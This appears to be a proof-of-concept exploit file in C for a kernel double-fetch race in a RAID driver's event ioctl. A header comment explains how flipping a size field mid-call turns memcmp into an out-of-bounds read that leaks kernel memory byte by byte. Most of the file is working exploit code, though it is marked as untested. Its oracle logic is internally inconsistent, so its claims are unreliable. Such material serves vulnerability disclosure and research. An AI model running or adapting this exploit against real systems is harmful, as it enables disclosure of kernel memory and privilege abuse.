/*
 * DF-4982 — iir(4) GDT_IOCTL_EVENT double-fetch: kernel OOB read oracle
 *
 * Bug: iir_ctrl.c (GDT_IOCTL_EVENT, erase == 0xff) computes
 *      p->dvr.event_data.size and stores it into the *user* buffer
 *      (iir_ctrl.c:326-332), then passes the raw user pointer to
 *      gdt_store_event() (iir.c:1866), which re-reads evt->size
 *      from user memory THREE times (iir.c:1877,1879,1880) and uses
 *      it as the memcmp() length:
 *
 *          memcmp(&ebuffer[elastidx].event_data.eu,   // 16-byte union
 *                 &evt->eu,                            // user memory
 *                 evt->size)                           // u16, up to 65535
 *
 *      eu is a 16-byte packed union (iir.h:517-543). A racing thread
 *      that flips `size` to 0xFFFF after the kernel's store turns the
 *      memcmp into an out-of-bounds read of the static kernel array
 *      ebuffer[256] (73.5 KB, iir.c:145) and whatever module statics
 *      follow it — up to ~65 KB past the 16-byte object.
 *
 *      memcmp equality is observable: on full match gdt_store_event
 *      MERGES the event (same_count++ on ebuffer[elastidx], iir.c:1883-1886);
 *      on mismatch it APPENDS a new event (elastidx advances). The next
 *      GDT_IOCTL_EVENT with erase==0 (gdt_read_event) returns a different
 *      handle/same_count depending on which happened => 1-bit equality
 *      oracle per probe => byte-wise disclosure of kernel .data/.bss
 *      following ebuffer[] (guess byte k, prefix bytes 0..k-1 learned).
 *
 * GATE (why this is filed Low / untested): /dev/iir is created only by
 *      iir_attach() on an ICP vortex (0x1119) / Intel 0x600 RAID HBA
 *      (iir_pci.c probe), and the node is mode 0600 root:operator.
 *      The reference QEMU guest has no such HBA (verified: driver is
 *      compiled in, /dev/iir absent), so the ioctl path cannot be
 *      reached at runtime here. The code path itself is unambiguous.
 *
 * Build (on a system WITH an iir HBA, as root or operator+devfs rule):
 *      cc -O2 -Wall -o df4982_iir_evt_oracle df4982_iir_evt_oracle.c
 * Run:
 *      ./df4982_iir_evt_oracle /dev/iir0
 * Success criterion:
 *      - probe() reports MERGE for a size<=16 prefix match, APPEND otherwise
 *      - with the racer flipping size to 0xFFFF and a prefix that matches
 *        ebuffer content beyond offset 16, memcmp keeps returning 0 past
 *        the 16-byte union boundary => kernel bytes beyond eu are being
 *        compared (oracle live).
 */

#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <stdint.h>

/* Mirror of iir.h packed structs (i386/amd64 identical: all fixed-width) */
#pragma pack(1)
typedef struct {
	uint16_t size;
	union {
		char stream[16];
		unsigned char raw[16];
	} eu;
	uint32_t severity;
	uint8_t event_string[256];
} gdt_evt_data;

typedef struct {
	uint32_t first_stamp, last_stamp;
	uint16_t same_count, event_source, event_idx;
	uint8_t application, reserved;
	gdt_evt_data event_data;
} gdt_evt_str;

typedef struct {
	int erase;
	int handle;
	gdt_evt_str dvr;
} gdt_event_t;

#pragma pack()

#define GDT_IOCTL_EVENT _IOWR('J', 8, gdt_event_t)
#define OFF_SIZE ((char *)&((gdt_event_t *)0)->dvr.event_data.size \
		  - (char *)0)

static int fd;
static volatile int race_on;
static volatile uint16_t race_val;

/*
 * Racer: hammer ONLY the 2-byte `size` field of the ioctl buffer while
 * the ioctl thread is inside the kernel between iir_ctrl.c:332 (kernel
 * store of the legit size) and iir.c:1879 (memcmp length load).
 */
static void *
racer(void *arg)
{
	gdt_event_t *ev = arg;

	while (race_on)
		*(volatile uint16_t *)((char *)ev + OFF_SIZE) = race_val;
	return NULL;
}

/* Store one event (source/idx of our choosing) and then probe equality
 * of the current last event against `probe` bytes with raced size. */
static const char *
probe(gdt_event_t *ev, const unsigned char *prefix, uint16_t sz)
{
	int32_t handle_before, handle_after;
	pthread_t th;

	/* 1. seed the ring: our own event becomes ebuffer[elastidx] */
	memset(ev, 0, sizeof(*ev));
	ev->erase = 0xff;
	ev->dvr.event_source = 3;	/* GDT_ES_TEST */
	ev->dvr.event_idx = 0x5151;
	memset(ev->dvr.event_data.eu.raw, 0x41, 16);
	ev->dvr.event_data.severity = 1;
	if (ioctl(fd, GDT_IOCTL_EVENT, ev) != 0) {
		perror("ioctl seed");
		exit(1);
	}

	/* 2. same source/idx again so the memcmp branch is taken; racer
	 *    flips size to `sz` (0xFFFF for the OOB case) */
	memset(ev->dvr.event_data.eu.raw, 0, 16);
	memcpy(ev->dvr.event_data.eu.raw, prefix, sz > 16 ? 16 : sz);
	race_val = sz;
	race_on = 1;
	pthread_create(&th, NULL, racer, ev);
	usleep(1000);			/* let the racer spin up */
	ioctl(fd, GDT_IOCTL_EVENT, ev);
	race_on = 0;
	pthread_join(th, NULL);

	/* 3. observe merge vs append: read newest event */
	memset(ev, 0, sizeof(*ev));
	ev->erase = 0;
	ev->handle = -1;
	ioctl(fd, GDT_IOCTL_EVENT, ev);
	/* merged => same_count >= 2 on the returned (same) event;
	 * appended => returned event is the NEW one (same_count == 1) */
	if (ev->dvr.event_source == 0)
		return "EMPTY";
	return (ev->dvr.same_count >= 2) ? "MERGE" : "APPEND";
}

int
main(int argc, char **argv)
{
	gdt_event_t ev;
	unsigned char prefix[16];

	if (argc != 2) {
		fprintf(stderr, "usage: %s /dev/iirN\n", argv[0]);
		return 2;
	}
	fd = open(argv[1], O_RDWR);
	if (fd < 0) {
		perror("open (need iir HBA + permissions)");
		return 2;
	}

	/* sanity: in-bounds (size<=16) equality must MERGE */
	memset(prefix, 0x41, sizeof(prefix));
	printf("in-bounds  (size=16): %s\n", probe(&ev, prefix, 16));

	/* in-bounds mismatch must APPEND */
	memset(prefix, 0x42, sizeof(prefix));
	printf("in-bounds  (mismatch): %s\n", probe(&ev, prefix, 16));

	/* OOB: prefix matches the seeded 16 bytes, raced size = 0xFFFF.
	 * memcmp now compares past eu (severity, event_string, the rest
	 * of ebuffer[] and adjacent module statics) with our buffer that
	 * is zero beyond byte 15. MERGE here means all 65535 compared
	 * bytes matched (buffer all zero past 15 — unlikely); APPEND
	 * with a long matching prefix is the oracle: walk byte k with
	 * guesses 0..255 while keeping bytes 0..k-1 equal. */
	memset(prefix, 0x41, sizeof(prefix));
	printf("OOB raced  (size=0xFFFF): %s  <-- oracle live if != APPEND at k=17\n",
	       probe(&ev, prefix, 0xFFFF));

	return 0;
}
